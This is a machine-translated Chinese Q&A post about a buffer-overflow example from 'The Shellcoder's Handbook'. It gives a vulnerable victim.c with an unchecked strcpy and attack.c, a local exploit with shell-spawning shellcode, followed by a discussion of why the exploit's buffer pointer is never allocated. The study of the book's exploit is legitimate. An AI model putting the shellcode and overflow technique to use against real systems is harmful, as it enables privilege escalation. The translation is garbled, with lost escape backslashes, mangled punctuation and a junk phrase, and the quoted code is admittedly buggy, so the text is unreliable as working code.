根据"Shellconder's Handbook",受害者.c如下
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
其漏洞、攻击.c如下
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46"
"x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1"
"xffxffxffx2fx62x69x6ex2fx73x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%xn", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = ' ';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
ptr = buff;
将buff的垃圾值分配给ptr
(buff未初始化(。下一行addr_ptr = (long *) ptr;
将ptr
的值(buff
的垃圾值(分配给addr_ptr
。我不清楚作者对这些行的意图。addr_ptr应该包含程序在检索保存的EIP时跳转到的地址,最好是NOP底座。但是,addr_ptr
包含垃圾值。
我认为buff
应该是动态分配的,首先使用malloc。
我知道《程序员手册》有很多错误,但它是为数不多的关于软件开发的书之一。
在线26
addr = find_start() - offset;
addr
被设置为目标返回地址,所以它并不是真正的垃圾。
据我所知,作者所做的是首先用addr
重复填充整个缓冲区,这样它既可以作为垃圾数据,也可以作为覆盖存储EIP的返回地址。此外,这样做可以让他们不关心放置返回地址的正确偏移量,前提是缓冲区在堆栈上与DWORD对齐。
然后它们覆盖"0"的开头;垃圾数据部分";用CCD_ 11和随后的外壳代码对该缓冲液进行标记。这是因为BUF=
的长度为4,所以它不会破坏DWORD对齐。
是,应分配buff
。请注意,如果您检查以下页面中的nopattack.c
,在这些页面中,他们将NOP底座添加到该漏洞,那么您会看到它确实是在第28行分配的:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}
此外,如果比较attack.c
和nopattack.c
,代码会有相当大的差异(分配、变量和函数名、大写的#define
常量…(,当后一个代码应该只是前一个代码的一次迭代时,这是令人惊讶的。这表明,在他们写这本书(或第二版(的时候,可能已经进行了重构,错误可能由此而来。